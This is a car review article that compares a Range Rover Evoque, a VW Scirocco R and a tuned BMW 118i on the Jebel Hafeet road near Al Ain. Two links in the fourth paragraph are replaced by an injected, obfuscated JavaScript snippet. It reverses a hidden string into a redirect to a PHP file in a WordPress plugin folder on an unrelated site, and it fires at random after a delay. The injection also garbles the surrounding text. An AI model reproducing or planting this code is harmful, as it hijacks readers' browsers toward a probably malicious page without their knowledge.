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Fans of Evo Middle East may remember that, after a trip to England last year to drive the Range Rover Evoque, the boys were raving about it. “It’s as good to drive as a hot hatch”, they enthused. I smiled, simultaneously thinking that while it was probably a good drive, the guys had succumbed to hyperbole.
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But then the Evoque arrived in the Middle East, and I had a chance to drive it. And it was very good. With its four-wheel drive and 240bhp 2.5-litre engine, it drew comparisons from other parts of the office to, or all things, a Volkswagen Golf R. And yet others that hadn’t driven it sneered at the very suggestion. “It’s an SUV,” they scoffed. “It might be good, but it’s not a hot hatch.”
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Time, then, to find out once and for all just how well the critically and publicly acclaimed Range Rover drives when things get enthusiastic. We know it can cruise and go off-road, but can it really hold a candle to a proper hot hatchback? So we set the Evoque a proper challenge.
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Two challengers were lined up to set some benchmarks. Firstly, the crankandpiston $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-welcome-to-the-vw-scirocco-r/” target=”_blank”>Management Fleet Volkswagen Scirocco R, with its front wheel drive, electronic differential and 261bhp. We were big fans of the handling of our old regular $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-former-management-fleet-vw-scirocco-au-revoir/” target=”_blank”>Scirocco, so this replacement has great expectations on its shoulders. It’ll be my first time in the car today, so there’ll be the added bonus of discovering whether the anticipation was worth it.
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Our third car is something a little different. It’s a BMW 118i – not a hot hatch in its standard form, but this one has been breathed on by BMW dealer Abu Dhabi Motors. The car’s software has been tweaked to up the power from 170bhp to around 210, giving it similar grunt to a Golf GTI. With rear wheel drive, it’ll make for an interesting foil.
The Evoque has the grunt and four-wheel drive for traction, but is heavy. The ‘Rocco has the power and is a purpose-built performance car, but will front-wheel drive hurt it? The BMW has rear-wheel drive and a decent amount of poke, but it’s not a dedicated performance car.
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The battleground for this showdown needed to be somewhere worthy, so we chose the best place available to us. The mountain of Jebel Hafeet is home to one of, if not the, best stretch of driving road in the Middle East. Situated just outside the town of Al Ain, the road rises up 1249 metres for 11km, with 21 corners of every conceivable shape and speed. It’s a challenge for any machine.
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Together with my colleague James, we drive the Evoque and Scirocco to Al Ain from Dubai and I reacquaint myself with the Range Rover. I’m already sold on which car of our trio I prefer in terms of looks – even though the roads of Dubai are becoming increasingly saturated with them. I think the Evoque looks fantastic. Our car is a brilliant white with a black roof, and in this three-door Dynamic form is the visual bees knees, set off by gloss black wing mirrors and vents on the bonnet and front wings.
